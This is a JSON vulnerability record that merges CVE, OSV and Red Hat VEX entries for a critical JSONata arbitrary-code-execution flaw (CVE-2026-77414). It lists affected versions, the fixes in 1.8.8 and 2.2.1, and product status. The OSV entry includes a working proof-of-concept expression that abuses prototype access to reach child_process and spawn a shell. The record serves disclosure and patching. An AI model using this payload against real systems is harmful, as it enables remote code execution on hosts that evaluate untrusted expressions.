{"id":"CVE-2026-77414","aliases":["GHSA-2943-5xfg-gq5f"],"summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","published_at":"2026-08-21T20:51:43.5Z","modified_at":"2026-09-28T10:25:29Z","products":[],"rating":{"severity":"critical","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Critical","vendor_ratings":[{"source":"Red Hat","rating":"Critical"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.00570000009611249,"percentile":0.4796000123023987,"date":"2026-11-19T00:00:00Z"},"priority":11.8,"details":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"jsonata-js/jsonata","versions":["< 1.8.8",">= 2.0.0, < 2.2.1"],"provider":"cvelistv5","source":"CVE-2026-77414","relation":"self"},{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}],"fixed":["2.2.1"],"provider":"osv","source":"GHSA-2943-5xfg-gq5f","relation":"self"},{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}],"fixed":["1.8.8"],"provider":"osv","source":"GHSA-2943-5xfg-gq5f","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"OpenShift Serverless","cpe":"cpe:/a:redhat:serverless:1","status":"not_affected","packages":["openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9","openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9","openshift-serverless-1/kn-eventing-integrations-transform-jsonata-rhel9"],"package_count":9,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77414"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"fixed","packages":["rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-form-widgets"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:76788"],"provider":"redhat-vex","source":"CVE-2026-77414"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"not_affected","packages":["rhdh/red-hat-developer-hub-backstage-plugin-lightspeed","rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend-module-loki","rhdh/red-hat-developer-hub-backstage-plugin-scaffolder-backend-module-orchestrator"],"package_count":6,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77414"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-77414","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-77414","license":"CC-BY-4.0","published_at":"2026-08-21T20:51:43.5Z","modified_at":"2026-08-26T17:42:09.319Z","summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"CVE-2026-77414"}],"affected":[{"ecosystem":"CVE","package":"jsonata-js/jsonata","versions":["< 1.8.8",">= 2.0.0, < 2.2.1"],"provider":"cvelistv5","source":"CVE-2026-77414","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/799"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"}]},{"provider":"osv","source_id":"GHSA-2943-5xfg-gq5f","relation":"self","url":"https://osv.dev/vulnerability/GHSA-2943-5xfg-gq5f","license":"CC-BY-4.0","published_at":"2026-08-21T20:58:01Z","modified_at":"2026-08-21T21:10:59.416749Z","summary":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","details":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"GHSA-2943-5xfg-gq5f"}],"affected":[{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}],"fixed":["2.2.1"],"provider":"osv","source":"GHSA-2943-5xfg-gq5f","relation":"self"},{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}],"fixed":["1.8.8"],"provider":"osv","source":"GHSA-2943-5xfg-gq5f","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/799"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"}]},{"provider":"redhat-vex","source_id":"CVE-2026-77414","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-77414","license":"CC-BY-4.0","published_at":"2026-08-21T20:51:43.5Z","modified_at":"2026-09-28T10:25:29Z","summary":"jsonata: JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"A flaw was found in JSONata, a JSON query and transformation language. This vulnerability allows a remote attacker to execute arbitrary code with the privileges of the host process. By crafting malicious JSONata expressions, an attacker can bypass a security check, gaining unauthorized access to internal object mechanisms. This enables the execution of system commands, leading to a complete compromise of the affected system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-77414"},{"type":"Red Hat","score":"Critical","source":"CVE-2026-77414"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"OpenShift Serverless","cpe":"cpe:/a:redhat:serverless:1","status":"not_affected","packages":["openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9","openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9","openshift-serverless-1/kn-eventing-integrations-transform-jsonata-rhel9"],"package_count":9,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77414"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"fixed","packages":["rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-form-widgets"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:76788"],"provider":"redhat-vex","source":"CVE-2026-77414"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"not_affected","packages":["rhdh/red-hat-developer-hub-backstage-plugin-lightspeed","rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend-module-loki","rhdh/red-hat-developer-hub-backstage-plugin-scaffolder-backend-module-orchestrator"],"package_count":6,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77414"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-77414.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-77414"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521203"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-77414"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77414"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/799"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"}]}],"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/799"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-77414.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-77414"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521203"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-77414"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77414"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-77414","url":"https://www.cve.org/CVERecord?id=CVE-2026-77414","license":"CC-BY-4.0","modified_at":"2026-08-26T17:42:09.319Z","relation":"self"},{"provider":"osv","source_id":"GHSA-2943-5xfg-gq5f","url":"https://osv.dev/vulnerability/GHSA-2943-5xfg-gq5f","license":"CC-BY-4.0","modified_at":"2026-08-21T21:10:59.416749Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-77414","url":"https://access.redhat.com/security/cve/CVE-2026-77414","license":"CC-BY-4.0","modified_at":"2026-09-28T10:25:29Z","relation":"self"}]}
